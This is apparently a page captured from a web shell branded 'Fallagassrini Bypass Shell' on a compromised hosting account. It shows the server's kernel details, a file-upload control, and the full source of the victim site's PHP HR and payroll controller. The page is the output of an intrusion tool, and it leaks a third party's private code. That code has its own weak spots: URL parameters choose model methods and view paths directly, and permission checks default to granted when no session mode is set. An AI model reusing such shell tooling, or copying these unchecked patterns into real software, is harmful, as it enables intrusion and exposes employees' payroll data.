? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eldertree/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eldertree/application/controllers/hr.php

<?php

if (!defined('BASEPATH')) exit('No direct script access allowed');

class Hr extends MY_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('mastermodel');
        $this->load->model('accountingmodel');
        $this->load->model('hrmodel');
        $this->load->helper('to_pdf');
    }

    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if ($key != "submit")
            {
                $data[$key] = $this->input->post($key);
            }
        }
        return $data;
    }

    function viewinhrsearch($modelfunction, $page, $pagenum)
    {
        $output           = $this->hrmodel->$modelfunction($pagenum);
        $data['viewinfo'] = $output['results'];
        $this->load->view('hr/' . $page . '', $data);
    }

    function addformdisplay($page, $directory, $return_page = '')
    {
        $data = array();
        $data['return_page'] = $return_page;
        $perm                = $this->hrmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 1);
        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $this->load->view('' . $directory . '/' . $page . '', $data);
        }
    }

    function addinhr($modelfunction, $page)
    {
        $data = array();
        $postdata = $this->get_post_values();
        $data     = $this->hrmodel->$modelfunction($postdata);
        $this->viewinhrsearch($data['resfunction'], $page, $_SESSION['pagenum']);
        $this->load->view('message', $data);
    }

    function deletedata($table, $id, $field)
    {
        $data = array();
        $perm        = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 3);
        if (!$perm) $data['msg'] = "Permission Denied";
        else $data        = $this->mastermodel->deletedata($table, $id, $field);
        $arr         = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function edit_page($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id']       = $id;
            $this->load->view('hr/' . $page, $data);
        }
    }

    function edit_salary_setting($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo']   = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['allowdeduc'] = $this->mastermodel->get_data('employee_salary_allowdeduc', $id, 'employee_salary_id');
            $data['medical']    = $this->mastermodel->get_data('employee_salary_medical', $id, 'employee_salary_id');
            $data['id']         = $id;
            $this->load->view('hr/' . $page, $data);
        }
    }

    function single_page($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id']       = $id;
            $this->load->view('hr/' . $page, $data);
        }
    }

    function single_leave_page($id, $table, $field, $page, $returnpage = "")
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['leave_alloc'] = array();
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);

            $leav_alloc = $this->mastermodel->get_data_dual_srow('leave_allocation', $id, 'employee_id', date('Y'), 'leave_allocation_year');

            if (!empty($leav_alloc))
            {
                $data['leave_alloc'] = $this->mastermodel->get_data_joined('leave_allocation_detail', 'leave_type', 'leave_type_id', 'leave_type_id', $leav_alloc->leave_allocation_id, 'leave_allocation_id');
            }

            $data['leave_appln'] = $this->hrmodel->getstfleavapply($id);
//            $data['leave_balance']=$this->hrmodel->get_leave_balance($id, date('Y'));
            $data['id']          = $id;
//            var_dump($data);
//            die();
            $this->load->view('hr/' . $page, $data);
        }
    }

    function single_salary_setting($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
//            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['viewinfo']   = $this->mastermodel->get_data_srow_joined($table, 'employee', 'employee_id', 'employee_id', $id, $field);
            $data['allowdeduc'] = $this->mastermodel->get_data('employee_salary_allowdeduc', $id, 'employee_salary_id');
            $data['medical']    = $this->mastermodel->get_data('employee_salary_medical', $id, 'employee_salary_id');
            $data['id']         = $id;
            $this->load->view('hr/' . $page, $data);
        }
    }

    function load_items($page, $employee_id)
    {

        $data['employee_id'] = $employee_id;
        $this->load->view('hr/' . $page, $data);
    }

    function load_employee_details($id)
    {
        $employee_id         = $this->mastermodel->get_single_field_value('employee', 'employee_id', 'employee_id', $id);
        $data['emp']         = $this->mastermodel->get_data_srow('employee', $employee_id, 'employee_id');
        $data['designation'] = $this->mastermodel->get_single_field_value('designation', 'designation_name', 'designation_id', $data['emp']->employee_designation_id);
        $data['department']  = $this->mastermodel->get_single_field_value('department', 'department_name', 'department_id', $data['emp']->employee_department_id);
        $this->load->view('hr/employee_details', $data);
    }

    function load_all_employee_salary_payment($date)
    {
        $data['viewinfo'] = $this->hrmodel->getemployeelist();
        $data['date']     = $date;
        $this->load->view('hr/add_multiple_employee_salary_payment', $data);
    }

    function checksalarymonth()
    {
        $data = array();
        $data['info'] = $_POST;

        $salary_count = $this->hrmodel->count_data_salary('employee_salary', $data['info']['id'], $data['info']['date']);

        if ($salary_count == 0)
        {
            echo "salary_not_set";
        }
        else
        {
            $salary_exist = $this->hrmodel->check_salary_month($data['info']['id'], $data['info']['date']);
            if ($salary_exist > 0) echo "salary_exists";
        }
    }

    function load_employees_salary($id, $date, $type = "")
    {
        $employee_salary_id = $this->hrmodel->get_employee_salary_id($id, $date);

        if ($employee_salary_id != "")
        {
            $data['viewinfo']    = $this->mastermodel->get_data_srow('employee_salary', $employee_salary_id, 'employee_salary_id');
            $data['salary_date'] = $date;
            $data['form_type']   = $type;
            $data['emp_sal_id']  = $employee_salary_id;
            $this->load->view('hr/add_single_employee_salary_payment', $data);
        }
        else
        {
            echo '<script type="text/javascript">alert(\'Employee Salary Not set\');</script>';
        }
    }

    function loadsalary($page, $post, $date)
    {
        $data['viewinfo'] = $this->hrmodel->loademployeesalary($post, $date);
        $data['wef_date'] = $date;
        $this->load->view('hr/' . $page . '', $data);
    }

    function loadunpostedsalary($page, $salid, $date)
    {
        $data['wef_date'] = $date;
        $data['salpay']   = $this->hrmodel->loadunpostedsalary($salid);
        $this->load->view('hr/' . $page . '', $data);
    }

    function loadpostedsalary($page, $salid)
    {
        $data = array();
        $data['salpay'] = $this->hrmodel->loadpostedsalary($salid);
        $this->load->view('hr/' . $page . '', $data);
    }

    function unposted_payslip_pdf($salid)
    {
        $data = array();
        $data['salpay'] = $this->hrmodel->loadunpostedsalary($salid);
        $this->load->view('hr/payslip_pdf', $data);
    }

    function posted_payslip_pdf($salid)
    {
        $data = array();
        $data['salpay'] = $this->hrmodel->loadpostedsalary($salid);
        $this->load->view('hr/payslip_pdf', $data);
    }

    function leave_approval($id, $status)
    {
        echo $this->hrmodel->leave_approval($id, $status);
    }

    function load_payment_method($payment_type_id)
    {
        $data['payment_type'] = $payment_type_id;
        $this->load->view('hr/payment_method', $data);
    }

    function autosuggestemployeesalarypayment($salary_date)
    {
        $q            = strtolower($_POST["q"]);
        if (!$q) return;
        $salary_month = date("m", strtotime($salary_date));
        $salary_year  = date("Y", strtotime($salary_date));

        $employee_list = $this->hrmodel->getunpaidemployees($salary_month, $salary_year);

        foreach ($employee_list as $items)
        {
            $name   = $items['employee_name'];
            $emp_no = $items['employee_no'];
            if (strpos(strtolower($name), $q) !== false)
            {
                echo '' . $name . '-' . $emp_no . '#' . $items['employee_id'] . '#';
                echo "\n";
            }
            else if (strpos(strtolower($emp_no), $q) !== false)
            {
                echo '' . $name . '-' . $emp_no . '#' . $items['employee_id'] . '#';
                echo "\n";
            }
        }
    }

    function datecheck()
    {
        $date = $_POST['date'];

        $checkdate = $this->mastermodel->get_single_field_value('employee_attendance', 'employee_attendance_id', 'employee_attendance_date', $date);
        if ($checkdate != "")
        {
            echo 1;
        }
        else
        {
            echo 0;
        }
    }

    function post_salary_payment()
    {
        $postdata = $this->get_post_values();
        echo $this->hrmodel->insert_single_posted_salary_payment($postdata);
    }

}

/* End of file master.php */
/* Location: ./application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net